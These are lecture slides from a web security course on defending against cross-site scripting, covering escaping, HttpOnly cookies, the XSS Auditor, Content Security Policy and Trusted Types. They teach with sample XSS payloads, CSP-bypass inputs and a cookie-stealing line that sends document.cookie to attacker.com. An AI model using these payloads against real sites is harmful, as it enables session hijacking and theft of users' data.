

# **CS 253: Web Security**

## **Cross-Site Scripting Defenses**

# Admin

- **This Thursday:** Guest Lecture on **Browser Fingerprinting Defenses** by Pete Snyder from Brave Software
- **This Friday:** Assignment 1 due at 5:00pm

# Review: Cross-Site Scripting

- HTML template:

`<p>USER_DATA_HERE</p>`

- User input: `<script>alert(document.cookie)</script>`

- Resulting page (without escaping):

`<p><script>alert(document.cookie)</script></p>`

- Resulting page (with escaping):

`<p>&lt;script>alert(document.cookie)&lt;/script></p>`

# Review: Reflected XSS vs. Stored XSS

- In **reflected XSS**, the attack code is placed into the HTTP request itself
  - **Attacker goal:** find a URL that you can make target visit that includes your attack code
  - Limitation: Attack code must be added to the URL path or query parameters
- In **stored XSS**, the attack code is persisted into the database
  - **Attacker goal:** Use **any means** to get attack code into the database
  - Once there, server includes it in all pages sent to clients

# Injecting down vs. injecting up

- **Injecting down:** Create a new nested context
- **Injecting up:** End the current context to go to a higher context

```
<p>USER_DATA_HERE</p>
```

```
<p><script>alert(document.cookie)</script></p>
```

```
<img src='avatar.png' alt='USER_DATA_HERE' />
```

```
<img src='avatar.png'  
    alt='Feross&apos; onload=&apos;alert(document.cookie)' />
```

# XSS defenses

- **Remember:** Code injection is caused when **untrusted user data** unexpectedly becomes **code**
- A better name for **Cross Site Scripting** would be "**HTML Injection**"
- **Goal:** need to "escape" or "sanitize" user input before combining it with code (the HTML template)

# Where untrusted data comes from

- HTTP request from user
  - Query parameters, form fields, headers, cookies, file uploads
- Data from a database
  - Who knows how the data got into the database? Do not trust.
- Third-party services
  - Who knows if it's safe?
  - Even if it is, what if the service gets hacked and starts sending unsafe data?

# When to escape?

- On the way into the database, or on the way out at render time?
  - **Always:** on the way out, at render time
- Why?
  - Even if you are sure that you control all possible ways for data to get into the database, you don't know in advance what context the data will appear in
  - Different contexts have different "control characters" (characters that need to be escaped)



# How to escape user input?

- Use your framework's built-in HTML escaping functionality
  - Linus's Law: "Given enough eyeballs, all bugs are shallow"
  - If/when bugs are found, you'll get the fix for free!
- Also, make sure you know the contexts where it is safe to use the output
  - e.g. don't use an HTML escaping function and put the output into a **<script>** tag or an HTML comment

# Escaping with EJS

- EJS template:

```
<% if (user) { %>  
  <h2><%= user.name %></h2>  
<% } %>
```

- Server code:

```
res.render('template-name', { user })
```

# Case study: React

- The obvious path escapes the HTML:

```
const html = '<h1>Hi</h1>'  
const jsx = <div>{html}</div>
```

- The expected solution doesn't work either:

```
const html = '<h1>Hi</h1>'  
const jsx = <div innerHTML={html} />
```

# Case study: React

- This is the solution in React:

```
const html = '<h1>Hi</h1>'  
const jsx = <div dangerouslySetInnerHTML={{ __html: html }} />
```

- **Key idea:** Dangerous code should look dangerous!
- **Goal:** Everyone who looks at this code should be like "gross, can we refactor this to not need **dangerouslySetInnerHTML**?" and/or scrutinize the code very closely

# Case study: React

- Another amusing example from React:

**React.\_\_SECRET\_DOM\_DO\_NOT\_USE\_OR\_YOU\_WILL\_BE\_FIRED**

- Another idea to try:

```
function foo (param1, param2, disclaimer) {  
  if (disclaimer !== 'I understand calling this method is \  
    a temporary hack and I\'ll be required to fix my code \  
    immediately if it goes away.') {  
    throw new Error('Disclaimer not specified')  
  }  
  // ... rest of function  
}
```

# Demo: EJS escaping

# Demo: EJS escaping

- It's way too easy to make a mistake with EJS

```
const express = require('express')
const ejs = require('ejs')

const app = express()

app.get('/', (req, res) => {
  const name = req.query.name || 'unnamed person'
  const template = `
    <h1>Hi, <%= name %>.</h1>
    <p>Welcome to our site, <%- name %>!</p> <!-- unsafe! -->
  `

  const html = ejs.render(template, { name })
  res.send(html)
})

app.listen(4000)
```

# EJS has many confusing tag prefixes

- `<%` 'Scriptlet' tag, for control-flow, no output
- `<%=` 'Whitespace Slurping' Scriptlet tag, strips all whitespace before it
- `<%=` Outputs the value into the template (HTML escaped)
- `<%-` Outputs the unescaped value into the template
- `<##` Comment tag, no execution, no output
- `<%%` Outputs a literal '`<%`'
- `%>` Plain ending tag
- `-%>` Trim-mode ('newline slurp') tag, trims following newline
- `_%>` 'Whitespace Slurping' ending tag, removes all whitespace after it



# Realization: XSS is going to happen

- XSS is one of the most common vulnerabilities
- What if we accept that XSS will happen to our site?
- How can we defend our site's users even in the presence of XSS?
  - Remember: With XSS, attacker code is running in the same page as the user's data (cookies, other private data)
  - This seems like a tall order!

# Key idea: Defense-in-depth

- **Goal:** Provide redundancy in case security controls fail, or a vulnerability is exploited
- Attacker now has to find **multiple** exploitable vulnerabilities in order to produce a successful attack
- What are some examples of defense-in-depth you've encountered?
  - Set a strong password + two-factor authentication
  - Plus: email notifications which act as an audit log

# Defending the user's cookies

- Use **HttpOnly** cookie attribute to prevent cookie from being read from JavaScript in the user's browser

**Set-Cookie:** key=value; **HttpOnly**

- **HttpOnly** defeats this attack code:

```
new Image().src = 'https://attacker.com/steal?
cookie=' + document.cookie
```

- **Note:** This restriction applies to JavaScript from the site author too!

# XSS Auditor

- Introduced in Chrome 4 in 2010
- Runs during the HTML parsing phase and **attempts to find reflections** from the request to the response body
  - Does not attempt to mitigate Stored XSS or DOM-based XSS
- Sounds pretty useful, right?
- Chrome realized it was a bad idea and removed in Chrome 78 in 2019

# XSS Auditor's many problems

- **False negatives:** Lots of ways to bypass it
- **False positives:** No way of knowing whether a given script block which appears in both the request and the response was truly reflected from the request to the response
- Take a page which contains `<script>alert('hi')</script>`
  - If user visits page normally, Auditor does not trigger
  - If user visits page with query string `?query=<script>alert('hi')</script>` then Auditor concludes this is an XSS attack!

# **Demo: Sniping code out of a page using XSS Auditor**

# Demo: Sniping code out of a page

- Say **target.com** contains some inconvenient code:

```
<script>if (window.top.location != window.location)  
window.top.location = window.location</script>
```

- Then **attacker.com** can frame the page and make it look like a Reflected XSS:

```
<iframe src='http://target.com:4000/?query=%3Cscript%3Eif%20  
(window.top.location%20!=%20window.location)%20window.top.  
location%20=%20window.location%3C/script%3E'></iframe>
```

- The **XSS Auditor** will helpfully remove the matching script from the page!

# Sniping an external script

- Target page:

```
<!doctype html>
<h1>Hi</h1>
<script src='/security.js'></script>
<script>
  // assumes that the libraries are included
</script>
```

- Security script can be sniped out with:

```
<iframe src='http://target.com/?query=
%3Cscript%20src=%27/security.js%27%3E%3C/script%3E'></iframe>
```



# **Video: XSS Auditor introduces cross-site information leaks**

<https://www.youtube.com/watch?v=xdXFwpxRel0>



# Content Security Policy (CSP)

- Previously, we talked about ways to tighten up Same Origin Policy in terms of which sites could e.g. post forms to our site, or load images, scripts, or styles from our site
  - That is, preventing other sites from making requests to our site
- CSP is inverse: **prevent our site from making requests to other sites**
- CSP is an added layer of security against XSS
  - Even if attacker code is running in user's browser in our site's context, we can limit the damage they can do

# The Content–Security–Policy HTTP header

- Add the **Content–Security–Policy** header to an HTTP response to control the resources the page is allowed to load
- CSP blocks HTTP requests which would violate the policy

# Goal: Content comes from our site

**Content-Security-Policy: default-src 'self'**

- Is `<script src='/hello.js'></script>` allowed?
  - Yes, relative URLs are loaded from the same origin
- Is `<script src='https://other.com/script.js'></script>` allowed?
  - No, script comes from a different origin
- Is `<script>alert('hello')</script>` allowed?
  - No, inline scripts are prevented. Strong protection against XSS!
- Is `<div onmouseover='foo()'></div>` allowed?
  - No, inline scripts are prevented. Strong protection against XSS!

**Goal: Content comes from our site,  
plus a trusted set of subdomains**

**Content-Security-Policy:**

**default-src 'self' \*.trusted.com**

# Example: Web mail provider

- **Goal:** Allow resources from our site, including our subdomains, but block resources from anywhere else. Also, allow images to come from anywhere.

## Content-Security-Policy:

```
default-src 'self' *.mailsite.com;  
img-src *
```

- Assuming session cookie is not **HttpOnly**, can it be exfiltrated?
  - Much harder! Can't use **<script>ATTACK CODE</script>** or load script from external site!
  - In theory, still possible though. How?

# Deploy CSP on an existing site

- **Problem:** How do we figure out what the policy should be? What if we miss something? Site breaks!
- **Solution:** Deploy it in **report-only mode**

**Content-Security-Policy-Report-Only: policy**

- Policy is not enforced, but violations are reported to a provided URL



# Detect blocked XSS attacks

- **Problem:** How do we catch XSS attacks that our CSP blocked so we can fix the root issue?
- **Solution:** Enable policy violation reports!

**Content-Security-Policy:**

**default-src 'self';**

**report-uri https://example.com/report**

- Also useful for finding where CSP is breaking the site

# CSP fetch directives

- **default-src** - Serves as a fallback for other fetch directives
- **connect-src** - Restricts sources from "script interfaces": **fetch**, **XHR**, **WebSocket**, **EventSource**, **Nagivator.sendBeacon()**, **<a ping>**
- **font-src** Restricts sources for fonts
- **frame-src** - Restricts sources for nested browsing contexts: **<frame>**, **<iframe>**
- **img-src** - Restricts sources for images, favicons
- **manifest-src** - Restricts sources for app manifest files
- **media-src** - Restricts sources for media: **<audio>**, **<video>**, **<track>**
- **object-src** - Restricts legacy plugins: **<object>**, **<embed>**, and **<applet>**
- **script-src** - Restricts sources for **<script>** elements
- **style-src** - Restricts sources for **<style>** and **<link rel='stylesheet'>** elements
- **worker-src** - Restricts sources for **Worker**, **SharedWorker**, and **ServiceWorker**

# Other CSP directives

*Note: These directives not inherit from **default-src**. If left unspecified, they allow everything!*

- **base-uri** - Restricts URLs which can be used in **<base>**
- **form-action** - Restricts URLs which can be used as target of form submission
- **frame-ancestors** - Restricts parents which may embed this page using **<frame>**, **<iframe>**
- **navigate-to** - Restricts the URLs to which a document can initiate navigation by any means
- **upgrade-insecure-requests** - Instruct browser to treat all HTTP URLs as the HTTPS equivalent transparently

# When theory meets reality

```
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
```

Content-Security-Policy:

```
default-src: 'self';
script-src: 'self' https://www.google-analytics.com
```

- CSP breaks the site! Why?

# `script-src` blocks inline scripts

- Most XSS attacks use inline scripts
- Use '**unsafe-inline**' to allow inline scripts, but this is basically equivalent to having no CSP!
  - It allows any inline **<script>** tag to execute!
- Better solution would be to move the code to **/script.js** hosted on our own site (which is an allowed script source by **script-src**)

# When theory meets reality

```
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
```

Content-Security-Policy:

```
default-src: 'self';
script-src: 'self' https://www.google-analytics.com 'unsafe-inline'
```

- CSP breaks the site! Why?

# The script includes a tiny image

When there's an event to track, the script runs this:

```
new Image().src =  
  'https://www.google-analytics.com/r/collect=' + someData
```

# When theory meets reality

```
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
```

Content-Security-Policy:

```
default-src: 'self';
img-src: 'self' https://www.google-analytics.com;
script-src: 'self' https://www.google-analytics.com 'unsafe-inline'
```

- Finally works, but it's fragile! What if they start sending data to another domain?



# When theory meets reality

```
<script>
  window.GoogleAnalyticsObject = 'ga'
  function ga () { window.ga.q.push(arguments) }
  window.ga.q = window.ga.q || []
  window.ga.l = Date.now()
  window.ga('create', 'UA-XXXXXXX-XX', 'auto')
  window.ga('send', 'pageview')
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
```

Content-Security-Policy:

```
default-src: 'self';
img-src: *;
script-src: 'self' https://www.google-analytics.com 'unsafe-inline'
```

- Still fragile, what if the script includes a script from another domain?

# Scripts on scripts on scripts...

- Script could do something like this (in fact it used to!):

```
const script = document.createElement('script')
script.src = 'https://ssl.google-analytics.com/script.js'
document.body.appendChild(script)
```

- How do we ensure CSP never breaks the site, even when new scripts are added?
  - Propagate trust from the initial script (which we trust) to any scripts it includes at runtime (which we want to implicitly trust) **no matter where that script comes from**

# CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy

Lukas Weichselbaum  
Google Inc.  
lwe@google.com

Michele Spagnuolo  
Google Inc.  
mikispag@google.com

Sebastian Lekies  
Google Inc.  
slekies@google.com

Artur Janc  
Google Inc.  
aaj@google.com

## ABSTRACT

Content Security Policy is a web platform mechanism designed to mitigate cross-site scripting (XSS), the top security vulnerability in modern web applications [24]. In this paper, we take a closer look at the practical benefits of adopting CSP and identify significant flaws in real-world deployments that result in bypasses in 94.72% of all distinct policies.

We base our Internet-wide analysis on a search engine corpus of approximately 100 billion pages from over 1 billion hostnames; the result covers CSP deployments on 1,680,867 hosts with 26,011 unique CSP policies – the most comprehensive study to date. We introduce the security-relevant aspects of the CSP specification and provide an in-depth analysis of its threat model, focusing on XSS protections. We identify three common classes of *CSP bypasses* and explain how they subvert the security of a policy.

We then turn to a quantitative analysis of policies deployed on the Internet in order to understand their security benefits. We observe that 14 out of the 15 domains most commonly whitelisted for loading scripts contain *unsafe-inline* as a consequence, 75.81% of distinct policies

## 1. INTRODUCTION

Cross-site scripting – the ability to inject attacker-controlled scripts into the context of a web application – is arguably the most notorious web vulnerability. Since the first formal reference to XSS in a CERT advisory in 2000 [6], generations of researchers and practitioners have investigated ways to detect [18, 21, 29, 35], prevent [22, 25, 34] and mitigate [4, 23, 28, 33] the issue. Despite these efforts, XSS is still one of the most prevalent security issues on the web [24, 30, 37], and new variations are constantly being discovered as the web evolves [5, 13, 14, 20].

Today, Content Security Policy [31] is one of the most promising countermeasures against XSS. CSP is a declarative policy mechanism that allows web application developers to define which client-side resources can be loaded and executed by the browser. By disallowing inline scripts and allowing only trusted domains as a source of external scripts, CSP aims to restrict a site’s capability to execute malicious client-side code. Hence, even when an attacker is capable of finding an XSS vulnerability, CSP aims to keep the application safe by preventing the exploitation of the bug – the

# "CSP is Dead" findings

- "14 out of the 15 domains most commonly whitelisted for loading scripts contain unsafe endpoints; as a consequence, 75.81% of distinct policies use script whitelists that allow attackers to bypass CSP"
- "94.68% of policies that attempt to limit script execution are ineffective"
- "99.34% of hosts with CSP use policies that offer no benefit against XSS"

# JavaScript with user-controlled callbacks

- Attack input:

```
<script src='/api/jsonp?callback=alert(document.cookie)//'></script>
```

- Server response:

```
alert(document.cookie)//{"var": "data", ...});
```



# Symbolic execution

- Typical AngularJS code:

```
<script src='https://allowed.com/angular.js'></script>  
<div ng-app>{{ 9000 + 1 }}</div>
```

- AngularJS parses templates and executes them
- Therefore, the ability to control templates parsed by Angular is equivalent to executing arbitrary JavaScript
- Replace `{{ 9000 + 1 }}` with `{{ alert(document.cookie) }}`

# Unexpected JavaScript-parseable responses

- Error messages echoing request parameters:

**Error:** alert(**document.cookie**)// not found.

- Attack input:

**<script src='/alert(document.cookie)%2F%2F'></script>**

# Unexpected JavaScript-parseable responses

- Comma-separated value (CSV) data with partially attacker-controlled contents:

Name, Value

alert(document.cookie), 234

- Attack input:

```
<script src='/file.csv?q=alert(document.cookie)'></script>
```



# Useless CSP

- <https://uselesscsp.com> collects examples of useless CSP
- "CSP is notoriously tricky to get right, but some people aren't even trying and are likely adding headers to tick a box on their assessment report."
- "Most of them are listed on this website because of their usage of '**unsafe-inline**' and '**unsafe-eval**' in the **script-src** part"

# Introducing strict-dynamic

- Server sends:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'

<script src='https://trusted.com' nonce='abc123'></script>

<script nonce='abc123'>foo()</script>

- "Specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce, shall be propagated to all the scripts loaded by that root script"
- No need to specify a whitelist anymore!

# Introducing strict-dynamic

- Server sends:

**Content-Security-Policy:** `script-src 'strict-dynamic' 'nonce-abc123'`

```
<script src='https://trusted.com' nonce='abc123'></script>  
<script src='https://attacker.com/evil.js'></script>  
<script>alert(document.cookie)</script>
```

- Attacker can't figure out the nonce. Why?
  - Nonce changes on each page load, and is unpredictable
  - Attacker can't inspect the DOM to read the nonce unless they're already running JavaScript

# Some browsers do not support `strict-dynamic` yet

- "When `strict-dynamic` is included, any whitelist or source expressions such as `'self'` or `'unsafe-inline'` will be ignored"
- So, just keep the full list of allowed origins in there as a fallback in unsupported browsers.
- Or, just keep it simple:

**Content-Security-Policy:**

```
script-src 'strict-dynamic' 'nonce-NONCE_GOES_HERE'  
* 'unsafe-inline';
```

# Reasonable "starter" CSP header

Content-Security-Policy:

```
default-src 'self' data;;  
img-src *;  
object-src 'none';  
script-src 'strict-dynamic' 'nonce-NONCE_GOES_HERE'  
    * 'unsafe-inline';  
style-src 'self' 'unsafe-inline';  
base-uri 'none';  
frame-ancestors 'none';  
form-action 'self';
```

# Feature-Policy HTTP header

- Selectively disable browser features
  - **autoplay**
  - **geolocation**
  - **picture-in-picture**
  - **vertical-scroll**

# Feature-Policy HTTP header

- Hopefully many more shipping soon

**accelerometer, ambient-light-sensor, camera, document-domain, document-write, encrypted-media, focus-without-user-activation, font-display-late-swap, fullscreen, gyroscope, layout-animations, lazyload, loading-frame-default-eager, magnetometer, microphone, midi, payment, unoptimized-lossless-images, unoptimized-lossless-images-strict, usb, vr**

# DOM-based XSS

- Assume DOM is modified by valid script running in the browser
- Attacker tricks this script into adding attacker DOM nodes into page
- Unlike reflected or stored XSS, the attacker doesn't change the HTML rendered by the server. Instead, page is attacked at "runtime"

```
const data = await fetch('/api/bio?user=feross')
document.getElementById('bio').innerHTML = data
```

- **Solution:** Instead of `innerHTML`, use `textContent`



# Trusted Types

- CSP only protects against Reflected XSS and Stored XSS
- What about DOM-based XSS?

```
const data = await fetch('/api/bio?user=feross')
document.getElementById('bio').innerHTML = data
```

- There's a new web spec called "Trusted Types" that if deployed in browsers would completely eliminate most DOM-based XSS

# Trusted Types

Content-Security-Policy: trusted-types template

```
const templatePolicy = TrustedTypes.createPolicy('template', {  
  createHTML: (userInput) => {  
    return htmlEscape(userInput)  
  }  
})  
  
const data = await fetch('/api/bio?user=feross')  
const html = templatePolicy.createHTML(data)  
// html instanceof TrustedHTML  
document.getElementById('bio').innerHTML = html
```

# Final thoughts

- XSS vulnerabilities are pervasive in real-world sites – be vigilant!
- Never trust data from the client – always sanitize it!
- Be aware of the context you're including user data in – escape it appropriately!
- Use CSP and (soon) Trusted Types to prevent nearly all XSS!
- You can never be too paranoid



CONSTANT VIGILANCE!

# END